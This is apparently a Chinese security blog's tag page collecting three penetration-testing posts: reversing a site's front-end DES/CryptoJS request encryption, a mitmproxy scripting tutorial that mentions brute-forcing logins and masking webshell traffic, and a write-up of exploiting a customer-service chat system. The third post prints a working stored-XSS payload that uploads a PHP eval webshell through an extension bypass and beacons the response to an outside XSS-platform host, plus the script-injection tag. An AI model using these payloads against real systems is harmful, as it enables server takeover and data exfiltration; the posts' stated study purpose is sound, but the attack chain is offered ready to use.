跳到主要内容

3 篇博文 含有标签「渗透测试」

查看所有标签

· 阅读需 10 分钟

0x01 初探网站

网站截图如下:

目前没有账号密码,需要登录才能进一步渗透,那就注册一个,结果发现注册要授权码,还要验证码,沃日!!!

0x02 请求参数分析

一看这请求加密地死死的,头部中还有一些自定义参数,看着头疼

加密请求和响应:

自定义头部参数:

0x03 浏览器调试JS

请求加密过程

打上任何XOR或提取的断点,点击注册:

先一直步过,一边观察JS代码和变量值,寻找加密和解密相关的地方。数次步过后,找到一处关键点,如下:

接着打开WebStorm,新建一个nodejs项目,打开终端安装jsdom模拟简单的浏览器环境,避免部分复制过去的代码报错:

npm install jsdom

前端的加密一般都会采用知名的加密库,最常用的就是CryptoJSJSEncrypt,分别搜索下关键词,确实使用了CryptoJS

复制reqMake的代码至WebStorm,遵循缺啥补啥的原则,md5的话直接用CryptoJS的,其他得去JS里找了:

鼠标悬停可以查看对象里的值,可以跟进函数位置,其中config.vkconfig.ncconfig.aesign都是固定值可以看得到:

定位enP函数位置后发现加密似乎是DES加密,且dnPdnD也都在附近,其中Base64Latin1都属于CryptoJS的组件,直接拿来用就行,其他函数跟进去一并复制到WebStorm

des函数:

des函数中还有一个des_createKeys一并复制:

formatSendData函数同样复制:

reqMake需要格式化一下,需返回加密后的结果已经头部参数,结果通过enD后赋值给u了,c中保存了头部参数,e的话可以去掉没啥用,最终返回一个合适对象就行:

最后根据参数测试一下加密,t是需要加密的请求内容:

响应解密过程

继续回到之前留意的parseResponse,打个断点,点击注册:

可以看到c是整个响应的明文,因此需要返回c,把整个函数复制到WebStorm,稍微改下,删除一些不必要的内容,保留关键部分,如下:

测试一下:

复制对象,并删除一些不需要的属性,模拟一下解密响应

结果如下:

0x04 总结

本文对网站进行了简单的Web逆向,旨在分享一些逆向小技巧,让不熟悉JS逆向的师傅们也能轻松看懂,应对渗透过程中前端加解密,从而挖到更多漏洞,总结以下几点:

  1. 了解基本的JS语法
  2. 学会使用任何XOR或提取的断点,大部分情况都适用
  3. 熟悉浏览器的调试功能,如修改变量值,定位函数
  4. 了解前端常用的加密库
  5. 学习从JS中搜索关键字,从而定位到关键位置

总的来说需要多动手尝试,才能孰能生巧。还望各位师傅们多多点赞转发,没点关注的点点关注,本公众号不发水文,只发干货!

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。

· 阅读需 8 分钟

mitmproxy介绍

mitmproxy是一个开源的中间人代理工具,用于拦截、修改、重播和保存HTTP/HTTPS流量。其名称“Mitm”是“中间人”的缩写,表示它可以作为客户端和服务器之间的中介,允许用户查看和修改流经代理的网络通信。

它与BurpSuite是同类型工具,mitmproxy它具有Web界面和命令行界面,但它最强悍的特点是提供了一系列的Python API,安全人员可以对HTTP/HTTPS流量进行高度定制,并且可以使用Python所具有生态库。

实现原理:mitmproxy可以开启一个HTTP/HTTPS代理,可以使用Python修改经过代理的HTTP流量,实现流量的高度定制。

例如以下两种使用场景:

  • 对请求加密较为复杂的登录表单进行爆破

目前前端的数据传输越来越安全,像诸如CryptJSJSEncrypt等加密库使用的频率越来越高,主要用来对前端请求的数据进行加密以保护数据安全,有时也会携带诸如sign值来保证请求不被篡改。

在对该类表单进行爆破时,传统的BurpSuite加密暂时无法满足要求。当然也存在一些插件可以实现较为复杂的加解密,如jsEncrypter插件,但对于熟悉Python的小伙伴来说,mitmproxy也许更加合适,可以使用mitmproxy提供的Python API对流量进行修改,将为未加密的参数通过使用Python加密库来加密参数实现爆破,如果存在sign值也可尝试查看前端JS来分析是如何生成sign的。

  • 定制Webshell管理器的流量

WebShell管理器的流量通常具有一定特征,部分特征是写死在管理器中的,如果要修改那必须对WebShell管理器进行二开,通常情况下难度较大,使用mitmproxy可以实现对Webshell管理器发出的请求进行修改,让Webshell管理器设置mitmproxy所启用的代理例如将payload放入请求头,这对于mitmproxy是轻而易举的。

本篇文章将对mitmproxy的基本使用教程进行介绍,并且列举常用的一些mitmproxy提供的一些Python API,同时也有对应案例介绍。

使用教程

安装mitmproxy

安装它非常简单,使用pip即可快速安装:

pip install mitmproxy

作为纯python脚本使用还需要安装asyncio

pip install asyncio

安装证书

mitmproxy需要安装证书才能处理HTTPS流量,使用pip安装后,其证书位置在用户目录下的.mitmproxy文件夹当中,安装.cer后缀的证书即可。

基本使用

这是一个最简单的示例Python脚本,只需修改注释部分即可

import asyncio
from mitmproxy.tools.dump import DumpMaster
from mitmproxy import http
from mitmproxy import options

# 监听IP
proxy_server = "0.0.0.0"

# 监听端口
proxy_port = 8082

# 上游代理, 例如走Clash
upstream = "http://127.0.0.1:7890"

# 自定义脚本
class Script:
# 处理请求
def request(self,flow: http.HTTPFlow):
return flow

# 处理响应
def response(self,flow: http.HTTPFlow):
return flow


async def main():
options_ = options.Options(listen_host=proxy_server,listen_port=proxy_port,mode=[f"upstream:{upstream}@{proxy_port}"],ssl_insecure=True)
m = DumpMaster(options_,with_dumper=False,with_termlog=True)
m.addons.add(Script())
print(f"代理服务器: http://{proxy_server}:{proxy_port}/\n上游代理: {upstream}")
await m.run()

# 入口
if __name__ == "__main__":
asyncio.run(main())

常见操作

  • HTTP流量的基本信息
class Script:
def request(self,flow: http.HTTPFlow):
req = flow.request # 从HTTP流中获取请求
req.url # 请求URL
req.method # 请求方法
req.host # 请求host, 例如www.baidu.com
req.path # 请求路径,例如/api/login
req.query['id'] = '1' # 请求路径中的参数
req.headers["name"] = "value" # 请求头
req.cookies["name"] = "value" # cookies
req.text # 获取请求body的文本数据
req.content # 获取请求body原始字节数据
return flow
  • 修改JSON数据
class Script:
def request(self,flow: http.HTTPFlow):
# 从HTTP流中获取请求
req = flow.request
# 添加判断条件
if req.url == "http://example.com/api/login" and req.headers['Content-Type'] == "application/json":
json_data = req.json()
json_data['username'] = "admin"
return flow
  • 修改表单数据
class Script:
def request(self,flow: http.HTTPFlow):
# 从HTTP流中获取请求
req = flow.request
# 添加判断条件
if req.url == "http://example.com/api/login" and req.headers['Content-Type'] == "application/www-form-urlencoded":
req.urlencoded_form['username'] = "admin"
return flow
  • 修改上传的文件
class Script:
def request(self,flow: http.HTTPFlow):
req = flow.request # 从HTTP流中获取请求
if req.url == "http://example.com/api/login" and req.headers['Content-Type'] == "application/www-form-urlencoded":
req.multipart_form[b'username'] = open("filename","rb")
return flow

运行mitmproxy

打开命令行,运行脚本,并将需要的流量设置mitmproxy监听的代理服务器。

python demo.py

案例

这一个基于mitmproxynps未授权利用脚本:

https://github.com/yinsel/nps_auth_key_bypass

原理是通过修改请求参数,达到访问正常nps能够未授权访问的效果。

nps未授权漏洞相关链接:

https://peiqi.wgpsec.org/wiki/webapp/NPS/NPS%20auth_key%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.html

总结

mitmproxy是一个强大的代理工具,可以实现我们平时手工难以做到的事情,但是门槛是需要了解Python的语法,学习Python相对于其他语言来说比较简单,但是需要多动手,多实践,正所谓熟能生巧。

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。

· 阅读需 7 分钟

RedCell-Sec

偶然在一次渗透过程中发现一个客服系统聊天界面发现可以XSS

对发送信息处进行抓包,可在content参数插入xss语句

这是访客前台效果:

这是后台管理的效果:

而且只要客服查看信息,便可以执行XSS语句

然并卵,本来想钓客服的cookie,登录后台,找到shell点,成功getshell(幻想时间),但是经过测试,发现该客服系统的session是受保护的,并不能窃取到cookie

已经决定放弃这个点了,随后在审计源码后,发现了图片上传点

老样子,抓包改后缀

解码得知,不支持php的文件格式

经过一系列尝试之后,并且审计源码规则之后,发现该系统只要检测到了一个类似png的图片格式就会允许上传,所以直接在图片.png后面在加一个.php即可

上传成功!访问一下试试看

鸡,不死心,用哥斯拉连一下试试看

果然还是失败,但是上传了txt文件,发现可以直接访问,所以判断该系统是禁止了用户访问php后缀的文件,所以尝试绕过一番

果然功夫不负有心人,在php文件后加了/,即可绕过,正常访问php后缀的文件

哥斯拉成功连接!

但是,这一切都是基于进入后台后才能通过此功能点上传webshell。。。。

随后联想到了利用XSS可以利用伪造客服发包,进行上马操作,说干就干

直接利用某XSS平台的ajax模块:

修改Content-TypeContent-type","multipart/form-data; boundary=----WebKitFormBoundaryxyMezY4spANQsjZK,POST内容修改为bp的上传shell的数据包载荷,其中function(rs){}是一个ajax异步回调函数,当数据包发送之后调用并将响应体传入rs,在回调函数内加入默认模块将其通过cookie发送至xss平台,从而得到包含了上传的文件路径的响应内容。

其中默认模块需要另外新建项目并勾选默认模块:

访问对应地址得到JS内容:

将默认模块的JS代码加入ajax模块代码结合使用

具体JS代码:

var pkav={
ajax:function(){
var xmlHttp;
try{
xmlHttp=new XMLHttpRequest();
}catch (e){
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){
return false;
}
}
}
return xmlHttp;
},
req:function(url,data,method,callback){
method=(method||"").toUpperCase();
method=method||"GET";
data=data||"";
if(url){
var a=this.ajax();
a.open(method,url,true);
if(method=="POST"){
a.setRequestHeader("Content-type","multipart/form-data; boundary=----WebKitFormBoundaryxyMezY4spANQsjZK");
}
a.onreadystatechange=function(){
if (a.readyState==4 && a.status==200)
{
if(callback){
callback(a.responseText);
}
}
};
if((typeof data)=="object"){
var arr=[];
for(var i in data){
arr.push(i+"="+encodeURIComponent(data[i]));
}
a.send(arr.join("&"));
}else{
a.send(data||null);
}
}
},
get:function(url,callback){
this.req(url,"","GET",callback);
},
post:function(url,data,callback){
this.req(url,data,"POST",callback);
}
};
pkav.post("/admin/event/uploadimg",`------WebKitFormBoundaryxyMezY4spANQsjZK
Content-Disposition: form-data; name="editormd-image-file"; filename="arzs.png.php"
Content-Type: image/png

<?php @eval($_POST['cmd']);?> // 你的webshell
------WebKitFormBoundaryxyMezY4spANQsjZK--`,function(rs){
//填入默认模块
(function() { (new Image()).src = '//uj.ci/bdstatic.com/?callback=jsonp&id=fia&location=' + encodeURIComponent((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&toplocation=' + encodeURIComponent((function() {
try {
return top.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + encodeURIComponent((function() {
try {
//将document.cookie改为rs响应变量,直接用cookie回显
return rs
} catch(e) {
return ''
}
})()) + '&opener=' + encodeURIComponent((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch(e) {
return ''
}
})());
})();

});

填入模块自定义代码中保存即可

复制对应的JS URL构造XSS代码拦截发送:

<a></a>你好<script src=//uj.ci/ace></script>

查看XSS平台回显:

利用上文绕过思路,连接哥斯拉:

成功getshell!!

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。